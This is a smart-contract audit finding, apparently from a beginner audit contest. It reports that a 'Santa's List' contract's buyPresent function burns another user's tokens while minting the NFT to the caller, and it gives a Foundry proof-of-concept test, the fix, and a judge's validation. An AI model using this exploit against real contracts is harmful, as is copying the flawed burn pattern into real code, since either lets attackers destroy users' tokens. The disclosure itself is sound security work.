Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Vulnerability in buyPresent Method Allows Unauthorized Minting by Burning Others' Tokens

Summary

The buyPresent method is vulnerable as it allows an attacker to burn another user's tokens using the address presentReceiver parameter.
This leads to the attacker receiving a free mint since the _mintAndIncrement function mints the token for msg.sender, not presentReceiver.

Vulnerability Details

The buyPresent method is unsafe as it uses the provided address parameter for the burn function, while _mintAndIncrement mints the token to msg.sender. This discrepancy is shown below:

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver); // <--- Burn the presentReceiver Santa token
_mintAndIncrement();
}
/*//////////////////////////////////////////////////////////////
INTERNAL AND PRIVATE
//////////////////////////////////////////////////////////////*/
function _mintAndIncrement() private {
_safeMint(msg.sender, s_tokenCounter++); // <--- Mint token to the msg.sender
}

The following PoC illustrates how an attacker can burn another user's token and receive a free NFT:

function testBurnOtherUserTokenForFreeMint() public {
address exploiter = makeAddr("exploiter");
// Santa sets the user's status
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// A user approves the contract to spend tokens and collect his reward
vm.startPrank(user);
santasList.collectPresent();
santaToken.approve(address(santasList), 1e18);
assertEq(santaToken.balanceOf(user), 1e18);
vm.stopPrank();
// The exploiter notices the user's approval and burns the user's token to get the reward
vm.startPrank(exploiter);
santasList.buyPresent(user);
// The exploiter ends up with a free NFT
assertEq(santasList.balanceOf(exploiter), 1);
vm.stopPrank();
}

Copy this test into the SantasListTest.t.sol file and execute the following command:

forge test -vvvv --match-test testBurnOtherUserTokenForFreeMint

As demonstrated in this test, after a user approves token spending and claims their reward, an exploiter can immediately burn the user's token and mint a free token for themselves.

Impact

This vulnerability is of high severity as it allows any user to obtain a free mint by burning another user's token.

Tools Used

Forge testing framework

Recommendations

The buyPresent method should be modified to use msg.sender instead of address presentReceiver in the burn function to ensure that the token is burned and the NFT is minted for the correct user:

- function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ function buyPresent() external {
+ i_santaToken.burn(msg.sender);
_mintAndIncrement();
}

By implementing this change, the correct user's token will be burned, and the NFT will be minted for them, eliminating the current vulnerability.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.